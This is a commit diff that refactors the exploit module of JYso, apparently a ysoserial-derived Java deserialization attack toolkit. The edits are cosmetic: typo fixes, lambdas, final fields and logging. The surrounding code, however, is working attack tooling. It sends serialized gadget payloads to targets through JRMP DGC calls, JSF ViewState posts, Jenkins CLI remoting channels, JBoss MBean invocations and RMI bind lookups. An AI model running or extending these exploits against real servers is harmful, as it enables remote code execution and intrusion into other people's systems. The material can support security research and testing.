fix: 修复exploit模块多个告警

src/main/java/com/qi4l/JYso/exploit/JBoss.java

@@ -50,10 +50,10 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
  * This client enumerates all application exported MBean method which are then called
  * delivering the specified payload.
  * <p>
- * I.e. you can succesfully exploit that
+ * I.e. you can successfully exploit that
  * - you have access to the interface
  * (username/password can be specified via URL, note: despite not noticeable,
- * local connections implicitely use authentication)
+ * local connections implicitly use authentication)
  * - there is an application exported MBean
  * - that application imports the classes required for the gadget chain
  *
@@ -168,21 +168,18 @@ public class JBoss {
                                                           ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
             throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
         XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
-        FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
+        FutureResult<ConnectionHandlerFactory> result = new FutureResult<>();
-        instance.connect(null, destination, options, result, new CallbackHandler() {
+        instance.connect(null, destination, options, result, callbacks -> {
 
-            public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
+            for (Callback cb : callbacks) {
 
-                for (Callback cb : callbacks) {
+                if (cb instanceof NameCallback) {
-
+                    ((NameCallback) cb).setName(username);
-                    if (cb instanceof NameCallback) {
+                } else if (cb instanceof PasswordCallback) {
-                        ((NameCallback) cb).setName(username);
+                    ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
-                    } else if (cb instanceof PasswordCallback) {
+                } else if (!(cb instanceof RealmCallback)) {
-                        ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
+                    System.err.println(cb);
-                    } else if (!(cb instanceof RealmCallback)) {
+                    throw new UnsupportedCallbackException(cb);
-                        System.err.println(cb);
-                        throw new UnsupportedCallbackException(cb);
-                    }
                 }
             }
         }, xnioSsl);
@@ -201,13 +198,12 @@ public class JBoss {
             System.exit(-1);
         }
 
-        ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
+        return ioFuture.getInterruptibly();
-        return chf;
     }
 
     private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
         Channel c;
-        FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
+        FutureResult<Channel> chResult = new FutureResult<>(context.getExecutor());
         ch.open("jmx", chResult, options);
 
         IoFuture<Channel> cFuture = chResult.getIoFuture();
@@ -259,9 +255,9 @@ public class JBoss {
                         int stop = msg.indexOf('"', start + 1);
                         String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
                         if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
-                            int cstart = msg.indexOf(':');
+                            int c_start = msg.indexOf(':');
-                            int cend = msg.indexOf(' ', cstart + 2);
+                            int c_end = msg.indexOf(' ', c_start + 2);
-                            String cls = msg.substring(cstart + 2, cend);
+                            String cls = msg.substring(c_start + 2, c_end);
                             System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                         }
                     } else {
@@ -294,10 +290,9 @@ public class JBoss {
         }
     }
 
-    @SuppressWarnings({"deprecation"})
     private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
 
-        private ConnectionProviderContextImpl context;
+        private final ConnectionProviderContextImpl context;
 
 
         public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
@@ -332,13 +327,13 @@ public class JBoss {
 
     private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
 
-        private XnioWorker worker;
+        private final XnioWorker worker;
 
-        private ExecutorService executor;
+        private final ExecutorService executor;
 
-        private Xnio instance;
+        private final Xnio instance;
 
-        private Endpoint endpoint;
+        private final Endpoint endpoint;
 
 
         public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
@@ -346,13 +341,10 @@ public class JBoss {
 
             this.worker = this.instance.createWorker(opts);
             this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
-            this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
+            this.executor = Executors.newCachedThreadPool(r -> {
-
+                Thread t = new Thread(r, "Worker");
-                public Thread newThread(Runnable r) {
+                t.setDaemon(true);
-                    Thread t = new Thread(r, "Worker");
+                return t;
-                    t.setDaemon(true);
-                    return t;
-                }
             });
         }
 

src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java

@@ -26,7 +26,7 @@ import java.net.URL;
  */
 public class JRMPClassLoadingListener {
 
-    public static final void main(final String[] args) {
+    public static void main(final String[] args) {
 
         if (args.length < 3) {
             System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");

src/main/java/com/qi4l/JYso/exploit/JRMPClient.java

@@ -26,7 +26,7 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
 })
 public class JRMPClient {
 
-    public static final void main(final String[] args) throws Exception {
+    public static void main(final String[] args) throws Exception {
         if (args.length < 5) {
             System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
             System.exit(-1);
@@ -43,15 +43,14 @@ public class JRMPClient {
         Object payloadObject = ysoserial.PAYLOAD;
 
         try {
-            System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
+            System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
             makeDGCCall(hostname, port, payloadObject);
         } catch (Exception e) {
             e.printStackTrace(System.err);
         }
     }
 
-    public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
+    public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
-        InetSocketAddress isa = new InetSocketAddress(hostname, port);
         Socket s = null;
         DataOutputStream dos = null;
         try {
@@ -68,7 +67,7 @@ public class JRMPClient {
 
             dos.write(TransportConstants.Call);
 
-            @SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
+            final ObjectOutputStream objOut = new MarshalOutputStream(dos);
 
             objOut.writeLong(2); // DGC
             objOut.writeInt(0);
@@ -113,12 +112,12 @@ public class JRMPClient {
                 writeObject(null);
             } else {
                 URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
-                String cb = "";
+                StringBuilder cb = new StringBuilder();
 
                 for (URL u : us) {
-                    cb += u.toString();
+                    cb.append(u.toString());
                 }
-                writeObject(cb);
+                writeObject(cb.toString());
             }
         }
 

src/main/java/com/qi4l/JYso/exploit/JRMPListener.java

@@ -5,6 +5,8 @@ import com.qi4l.JYso.gadgets.utils.Reflections;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import sun.rmi.transport.TransportConstants;
 
 import javax.management.BadAttributeValueExpException;
@@ -32,13 +34,14 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
 })
 public class JRMPListener implements Runnable {
 
-    private int port;
+    private static final Logger log = LoggerFactory.getLogger(JRMPListener.class);
+    private final int port;
 
-    private Object payloadObject;
+    private final Object payloadObject;
 
-    private ServerSocket ss;
+    private final ServerSocket ss;
 
-    private Object waitLock = new Object();
+    private final Object waitLock = new Object();
 
     private boolean exit;
 
@@ -60,7 +63,7 @@ public class JRMPListener implements Runnable {
         this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
     }
 
-    public static final void main(final String[] args) throws Exception {
+    public static void main(final String[] args) throws Exception {
         if (args.length < 5) {
             System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
             System.exit(-1);
@@ -96,23 +99,21 @@ public class JRMPListener implements Runnable {
             clazz.setName(className);
             return clazz.toClass(isolation).newInstance();
         } catch (Exception e) {
-            e.printStackTrace();
+            log.error("e: ", e);
             return new byte[0];
         }
     }
 
-    public boolean waitFor(int i) {
+    public void waitFor(int i) {
         try {
             if (this.hadConnection) {
-                return true;
+                return;
             }
             System.err.println("Waiting for connection");
             synchronized (this.waitLock) {
                 this.waitLock.wait(i);
             }
-            return this.hadConnection;
+        } catch (InterruptedException ignored) {
-        } catch (InterruptedException e) {
-            return false;
         }
     }
 
@@ -120,7 +121,7 @@ public class JRMPListener implements Runnable {
         this.exit = true;
         try {
             this.ss.close();
-        } catch (IOException e) {
+        } catch (IOException ignored) {
         }
         synchronized (this.waitLock) {
             this.waitLock.notify();
@@ -171,11 +172,11 @@ public class JRMPListener implements Runnable {
                             case TransportConstants.SingleOpProtocol:
                                 doMessage(s, in, out, this.payloadObject);
                                 break;
-                            default:
                             case TransportConstants.MultiplexProtocol:
                                 System.err.println("Unsupported protocol");
                                 s.close();
                                 continue;
+                            default:
                         }
 
                         bufOut.flush();
@@ -200,8 +201,7 @@ public class JRMPListener implements Runnable {
                 }
             }
 
-        } catch (SocketException e) {
+        } catch (SocketException ignored) {
-            return;
         } catch (Exception e) {
             e.printStackTrace(System.err);
         }
@@ -224,7 +224,6 @@ public class JRMPListener implements Runnable {
                 break;
 
             case TransportConstants.DGCAck:
-                UID u = UID.read(in);
                 break;
 
             default:
@@ -238,7 +237,7 @@ public class JRMPListener implements Runnable {
         ObjectInputStream ois = new ObjectInputStream(in) {
 
             @Override
-            protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
+            protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
                 if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                     return ObjID[].class;
                 } else if ("java.rmi.server.ObjID".equals(desc.getName())) {

src/main/java/com/qi4l/JYso/exploit/JSF.java

@@ -10,6 +10,7 @@ import java.net.HttpURLConnection;
 import java.net.URL;
 import java.net.URLConnection;
 import java.net.URLEncoder;
+import java.nio.charset.StandardCharsets;
 
 import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
 
@@ -67,7 +68,7 @@ public class JSF {
             oos.close();
             byte[] data = bos.toByteArray();
             String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
-            os.write(requestBody.getBytes("US-ASCII"));
+            os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
             os.close();
 
             System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());

src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java

@@ -6,6 +6,8 @@ import hudson.remoting.Callable;
 import hudson.remoting.Channel;
 import hudson.remoting.Channel.Mode;
 import hudson.remoting.ChannelBuilder;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 import javax.net.SocketFactory;
 import java.io.DataOutputStream;
@@ -17,7 +19,6 @@ import java.lang.reflect.Method;
 import java.net.*;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
-import java.util.concurrent.ThreadFactory;
 
 import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
 
@@ -34,7 +35,9 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
  */
 public class JenkinsCLI {
 
-    public static final void main(final String[] args) throws Exception {
+    private static final Logger log = LoggerFactory.getLogger(JenkinsCLI.class);
+
+    public static void main(final String[] args) throws Exception {
         if (args.length < 5) {
             System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
             System.exit(-1);
@@ -54,7 +57,7 @@ public class JenkinsCLI {
             c = JenkinsCLI.openChannel(isa);
             c.call(getPropertyCallable(payloadObject));
         } catch (Throwable e) {
-            e.printStackTrace();
+            log.error(String.valueOf(e));
         } finally {
             if (c != null) {
                 try {
@@ -78,7 +81,7 @@ public class JenkinsCLI {
         return (Callable<?, ?>) getJarLoader;
     }
 
-    public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException {
+    public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException {
         URL u = new URL(jenkinsUrl);
 
         URLConnection conn = u.openConnection();
@@ -96,7 +99,7 @@ public class JenkinsCLI {
         return new InetSocketAddress(u.getHost(), clip);
     }
 
-    public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException {
+    public static Channel openChannel(InetSocketAddress isa) throws IOException {
         System.err.println("* Opening socket " + isa);
         Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
         s.setKeepAlive(true);
@@ -106,13 +109,10 @@ public class JenkinsCLI {
         OutputStream outputStream = s.getOutputStream();
         DataOutputStream dos = new DataOutputStream(outputStream);
         dos.writeUTF("Protocol:CLI-connect");
-        ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
+        ExecutorService cp = Executors.newCachedThreadPool(r -> {
-
+            Thread t = new Thread(r, "Channel");
-            public Thread newThread(Runnable r) {
+            t.setDaemon(true);
-                Thread t = new Thread(r, "Channel");
+            return t;
-                t.setDaemon(true);
-                return t;
-            }
         });
         Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
         System.err.println("* Channel open");

src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java

@@ -6,6 +6,8 @@ import com.qi4l.JYso.gadgets.utils.Reflections;
 import hudson.remoting.Callable;
 import hudson.remoting.Channel;
 import hudson.remoting.JarLoader;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import sun.rmi.server.Util;
 import sun.rmi.transport.TransportConstants;
 
@@ -41,11 +43,13 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
  * @author mbechler
  */
 @SuppressWarnings({
-        "rawtypes", "restriction"
+        "restriction"
 })
 public class JenkinsListener {
 
-    public static final void main(final String[] args) {
+    private static final Logger log = LoggerFactory.getLogger(JenkinsListener.class);
+
+    public static void main(final String[] args) {
 
         if (args.length < 5) {
             System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
@@ -85,7 +89,7 @@ public class JenkinsListener {
             }
 
         } catch (Throwable e) {
-            e.printStackTrace();
+            log.error(String.valueOf(e));
         } finally {
             if (c != null) {
                 try {
@@ -110,7 +114,7 @@ public class JenkinsListener {
     }
 
 
-    private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException {
+    private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
         String msg = e.getMessage();
         int start = msg.indexOf("objID:[");
         if (start < 0) {
@@ -165,7 +169,7 @@ public class JenkinsListener {
 
             dos.write(TransportConstants.Call);
 
-            @SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
+            final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
 
             objOut.writeLong(obj);
             objOut.writeInt(o1);

src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java

@@ -3,6 +3,8 @@ package com.qi4l.JYso.exploit;
 import com.qi4l.JYso.controllers.ysoserial;
 import com.qi4l.JYso.gadgets.JRMPClient;
 import hudson.remoting.Channel;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 import java.io.IOException;
 import java.net.InetSocketAddress;
@@ -24,7 +26,9 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
  */
 public class JenkinsReverse {
 
-    public static final void main(final String[] args) throws Exception {
+    private static final Logger log = LoggerFactory.getLogger(JenkinsReverse.class);
+
+    public static void main(final String[] args) throws Exception {
         if (args.length < 4) {
             System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
             System.exit(-1);
@@ -54,7 +58,7 @@ public class JenkinsReverse {
             listener.waitFor(1000);
             listener.close();
         } catch (Throwable e) {
-            e.printStackTrace();
+            log.error(String.valueOf(e));
         } finally {
             if (c != null) {
                 try {

src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java

@@ -60,7 +60,7 @@ public class RMIBindExploit {
 
         private String ip = null;
 
-        public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
+        public Remote lookup(String var1) throws NotBoundException, RemoteException {
             try {
                 StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
 
@@ -100,12 +100,8 @@ public class RMIBindExploit {
                 }
 
                 return var20;
-            } catch (RuntimeException var16) {
+            } catch (RuntimeException | NotBoundException | RemoteException var16) {
                 throw var16;
-            } catch (RemoteException var17) {
-                throw var17;
-            } catch (NotBoundException var18) {
-                throw var18;
             } catch (Exception var19) {
                 throw new UnexpectedException("undeclared checked exception", var19);
             }